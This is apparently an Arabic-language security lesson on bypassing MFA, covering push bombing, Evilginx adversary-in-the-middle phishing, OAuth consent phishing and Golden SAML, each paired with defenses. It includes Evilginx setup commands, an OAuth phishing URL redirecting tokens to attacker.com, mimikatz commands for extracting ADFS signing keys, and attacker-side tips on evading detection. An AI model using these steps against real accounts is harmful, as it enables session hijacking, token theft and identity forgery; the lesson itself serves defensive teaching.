MFA / SAML / OAuth Attacks — لما الحماية بتلف عليك
MFA fatigue و Evilginx و token theft و Golden SAML
ليه MFA مش معناها انتهى الهجوم؟
بُص. الـ MFA الكلاسيكي بيقفل 99٪ من الـ phishing. ده رقم حقيقي، مش marketing. طب اللي فاضل؟ الـ AiTM. والـ MFA fatigue. وسرقة الـ session token. الضحية بتدخّل الكود طبيعي، والكوكي بتروح للمهاجم. ومحدش حسّ.
في 2022-2024، أكبر اختراقات الشركات (Uber، MGM، Cisco، Microsoft نفسها في حادثة Midnight Blizzard) ما عدّوش الـ password — عدّوا الـ MFA.
في حادثة Uber، 18 سنة، عيّل، ضغط push 50 مرة على مسؤول الـ infra، وكتبله "أنا من IT لو سمحت اقبلها".
ووافق.
مش عبقرية تقنية — هندسة اجتماعية وضحية تعبت من الإشعارات.
الدرس ده هيغطي 4 محاور: MFA fatigue، Adversary-in-the-Middle مع Evilginx، token theft، و Golden SAML.
غلطات الـ junior في كسر MFA
- يفتكر إن "MFA متفعّل" يعني "الحساب آمن". لا. الـ MFA Type مهم. SMS مش زي TOTP مش زي FIDO2.
- يبعت 200 push notification في 5 دقايق. الـ SOC بيشوف الـ pattern قبل ما الضحية يوافق.
- يستخدم Evilginx من غير ما يضبط الـ phishlet كويس، فالموقع يبقى مكسوف ومحدش بيدخّل بياناته.
- ينسى يسرق الـ refresh token، فلما الـ session تنتهي، يرجع تاني للصفر.
1. MFA Fatigue / Push Bombing
المهاجم عارف الـ password. بيدوس "تسجيل دخول" 50 مرة. الضحية بيوصله 50 push notification في 10 دقايق، وبيوافق على واحدة منهم علشان الإشعارات تسكت. ده بالظبط اللي حصل لـ Uber في سبتمبر 2022.
# سيناريو متكرر:
1. credentials من phishing أو credential stuffing
2. تسجيل دخول → MFA push يطلق
3. تكرار كل 30 ثانية لمدة ساعة
4. الضحية يضغط Approve ليصمت الإشعار
5. session token يخرج للمهاجم- Number Matching (Microsoft, Okta): الضحية يدخل رقم يظهر على شاشة تسجيل الدخول
- تقييد عدد محاولات MFA per hour
- تنبيه على push من IP غير معتاد
- الانتقال إلى FIDO2 / passkeys (لا تسأل المستخدم، توقع شيء فقط)
2. Adversary-in-the-Middle مع Evilginx
Victim → evilginx.attacker.com → real Microsoft Login
↓ ↓
credentials caught MFA challenge passes through
↓ ↓
MFA code caught real session cookie returned
↓
attacker uses cookie → fully authenticated session
(لا يحتاج كلمة المرور أو MFA مرة أخرى)# Evilginx 3.x
evilginx2 -p ./phishlets
[evilginx] config domain login-corp.example
[evilginx] phishlets hostname o365 login-corp.example
[evilginx] phishlets enable o365
[evilginx] lures create o365
[evilginx] lures get-url 0
# https://login-corp.example/auth?lure_id=...- FIDO2 / WebAuthn: مرتبط بنطاق الـ origin، لا يعمل على evilginx domain
- Conditional Access: device compliance + IP location
- Token Protection (Azure AD): cookie مرتبط بالجهاز
- كشف phishing domains via certificate transparency monitoring (crt.sh على نطاقك المشتق)
3. OAuth Consent Phishing
لا تطلب كلمة المرور — اطلب من الضحية أن يمنح تطبيقك صلاحيات على حسابه. في Microsoft 365، هذا يفتح قراءة البريد، الملفات، والبريد المرسل، حتى بعد تغيير كلمة المرور.
Phishing email:
"Click to view shared report"
↓
https://login.microsoftonline.com/common/oauth2/v2.0/authorize
?client_id=<EVIL_APP>
&response_type=code
&scope=Mail.Read Files.ReadWrite User.Read offline_access
&redirect_uri=https://attacker.com/callback
Victim sees: "Cool Reports App wants to access your mailbox"
Victim clicks Accept
→ Attacker gets refresh token good for 90 days- Admin consent للتطبيقات بصلاحيات حساسة
- Block unverified publishers
- راقب OAuth grants — Sentinel rule على Microsoft.Graph events
- Quarterly review لكل enterprise application في tenant
4. Golden SAML
لو سرقت private key لـ ADFS / Okta signing certificate، تستطيع توقيع SAML response لأي مستخدم، بأي صلاحيات، تنتهي عند أي وقت تريد. هذا ما حدث في SolarWinds: ADFS keys سُرقت ثم استخدمت لتسجيل دخول إلى cloud apps دون أي تنبيه.
# ADFS service account → token signing key
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # vault::cred /patch
# يستخرج private key من Microsoft.IdentityServer service- HSM للـ ADFS signing keys (لا يمكن استخراجها برمجياً)
- تقصير عمر SAML tokens (15 دقيقة بدلاً من 8 ساعات)
- Conditional Access على cloud apps حتى مع SAML صحيح
- راقب unusual SAML claims (admin role غير معتاد)
الخلاصة الناشفة
MFA مش حل سحري. هو طبقة، ومعاها طبقات تانية لازم تبقى موجودة.
لو الـ MFA بتاعك SMS أو push approval بسيط، فإنت متحصّن على ورق بس. ده مش defense، ده تمثيل defense.
FIDO2 / Passkeys هو اللي بيقفل AiTM فعلاً. غيره كله compromise.
الـ junior بيقول: "MFA متفعّل، خلصنا".
المحترف بيسأل: "MFA إيه؟ على إيه؟ مين معفي منه؟ وإمتى آخر مرة راجعنا الـ Conditional Access policies؟"
اكتبها على ظهر إيدك يا مستجد: لو حساب حساس عندك مش على Passkeys في 2026، فإنت مش بتدافع — إنت بتتفرج.
مصادر
- Microsoft Security — Threat Intelligence on AiTM
- Mandiant — UNC2452 / Solorigate (Golden SAML)
- Push Security — AiTM toolkit research
- SpecterOps — Token Tactics on Azure
- MITRE ATT&CK — T1556.005 Reverse Proxy MFA Bypass